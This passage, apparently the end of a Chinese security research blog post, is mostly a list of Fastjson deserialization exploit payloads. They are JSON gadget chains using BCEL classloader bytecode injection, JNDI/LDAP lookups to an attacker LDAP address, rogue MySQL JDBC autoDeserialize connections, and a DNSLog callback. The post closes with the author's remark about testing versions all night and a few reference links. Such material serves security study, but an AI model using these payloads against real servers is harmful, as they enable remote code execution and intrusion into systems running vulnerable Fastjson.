"@type": "org.jboss.util.loading.ContextClassLoaderSwitcher",
"contextClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"a": {
"@type": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A"
}
}
OracleManagedConnectionFactory
{
"@type": "oracle.jdbc.connector.OracleManagedConnectionFactory",
"xaDataSourceName": "ldap://127.0.0.1:23457/Command8"
}
JNDIConfiguration
{
"@type": "org.apache.commons.configuration.JNDIConfiguration",
"prefix": "ldap://127.0.0.1:23457/Command8"
}
JDBC4Connection
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "172.20.64.40",
"portToConnectTo": 3306,
"url": "jdbc:mysql://172.20.64.40:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"databaseToConnectTo": "test",
"info": {
"@type": "java.util.Properties",
"PORT": "3306",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"user": "yso_URLDNS_http://ahfladhjfd.6fehoy.dnslog.cn",
"PORT.1": "3306",
"HOST.1": "172.20.64.40",
"NUM_HOSTS": "1",
"HOST": "172.20.64.40",
"DBNAME": "test"
}
}
LoadBalancedMySQLConnection
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://localhost:3306/foo?allowLoadLocalInfile=true"
}
}
}
ReplicationMySQLConnection
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{
"host": "mysql.host"
}],
"slaves": [],
"properties": {
"host": "mysql.host",
"user": "user",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}
UnpooledDataSource
{
"x": {
{
"@type": "com.alibaba.fastjson.JSONObject",
"name": {
"@type": "java.lang.Class",
"val": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource"
},
"c": {
"@type": "org.apache.ibatis.datasource.unpooled.UnpooledDataSource",
"key": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driver": "$$BCEL$$$l$8b$..."
}
}: "a"
}
}
调了这么多个版本,天亮了, 一晚上过去了, 身体已经很疲劳了,但是心里很充实hh, 睡觉睡觉😪
参考文章:
https://su18.org/post/fastjson/#4-fastjson-1243
https://www.freebuf.com/articles/web/283585.html
https://mp.weixin.qq.com/s/EXnXCy5NoGIgpFjRGfL3wQ
http://blog.o3ev.cn/yy/1311#menu_index_12